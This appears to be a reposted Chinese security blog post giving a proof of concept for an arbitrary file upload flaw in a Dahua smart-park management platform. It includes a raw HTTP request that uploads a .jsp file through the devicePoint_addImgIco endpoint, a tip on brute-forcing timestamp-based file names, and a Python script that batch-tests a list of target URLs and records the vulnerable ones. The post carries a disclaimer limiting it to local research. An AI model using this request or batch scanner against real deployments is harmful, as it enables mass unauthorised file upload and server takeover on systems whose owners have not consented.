某华智慧园区-任意文件上传PoC

渗透技巧 10个月前 admin
758 0 0


Max 是你安全路上的一盏明灯



前言

本公众号仅用作技术研究,利用此文提及到的知识造成的任何直接或者间接的后果及损失均由使用者本人负责,本人不为此承担任何责任本文中涉及的漏洞复现,均是自己搭建的本地靶场,禁止非法攻击未授权站点


漏洞描述

某华智慧园区综合管理平台存在漏洞,攻击者可以通过接口任意上传文件,导致系统被攻击与控制。

漏洞复现

第一个点

上传压缩包功能处,存在任意文件上传

某华智慧园区-任意文件上传PoC

文件保存路径为/facePic/yyyy-MM-dd/,例如:/facePic/2023-07-09/,文件名命名规则为时间戳+3位随机数+后缀,例如:20220509071212907并且在解压文件前就执行了文件写入操作。

某华智慧园区-任意文件上传PoC

所以我们可以直接传一个jsp文件

某华智慧园区-任意文件上传PoC

某华智慧园区-任意文件上传PoC

文件名可以通过爆破上传附近时间点的时间戳+100-999的3位随机数来获取。

第二个点

POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDTUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69Host: xx.xx.xx.xxAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-Length: 243Connection: close
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDTContent-Disposition: form-data; name="upload"; filename="1ndex.jsp"Content-Type: application/octet-streamContent-Transfer-Encoding: binary
123--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--

上传路径:
http://ip:8314/upload/emap/society_new/ico…随机字符串_on.jsp
注:301重定向改变了端口

import argparseimport timeimport requests
parser = argparse.ArgumentParser(description='大华智慧园区综合管理平台任意文件上传 批量PoC')parser.add_argument('-f',help='Batch detection file name',type=str)args = parser.parse_args()file = args.f
def get_url(file): with open('{}'.format(file),'r',encoding='utf-8') as f: for i in f: i = i.replace('n', '') send_req("http://"+i)
def write_result(content): f = open("result.txt", "a", encoding="UTF-8") f.write('{}n'.format(content)) f.close()

def send_req(url_check): print('{} runing Check'.format(url_check)) url = url_check + '/emap/devicePoint_addImgIco?hasSubsystem=true' header = { 'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69', 'Content-Type':'multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT', 'Accept':'text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2', 'Connection':'close' } data = ( "--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDTrn" 'Content-Disposition: form-data; name="upload"; filename="1ndex.jsp"rn' "Content-Type: application/octet-streamrn" "Content-Transfer-Encoding: binaryrn" "rn" "123rn" "--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--" ) try: requests.packages.urllib3.disable_warnings() response = requests.post(url=url,headers=header,data=data,verify=False,timeout=3).json() if response['code'] == 1: result = '{} 存在任意文件上传漏洞! 请访问目标自测:{} n'.format(url_check, url_check + "/upload/emap/society_new/" + response['data']) print(result) write_result(result) time.sleep(1) except Exception as e: print(e) pass
if __name__ == '__main__': if file is None: print('请在当前目录下新建需要检测的url.txt') else: get_url(file)

工具

使用方法:

  1. 把需要检测的url放入txt文档中

  2. 执行 python 脚本 -f url.txt

  3. 检测出有任意文件上传漏洞的资产会保存在同目录result.txt文件中

某华智慧园区-任意文件上传PoC



原文始发于微信公众号(Max安全研究院):某华智慧园区-任意文件上传PoC

版权声明:admin 发表于 2023年7月15日 下午12:44。
转载请注明:某华智慧园区-任意文件上传PoC | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...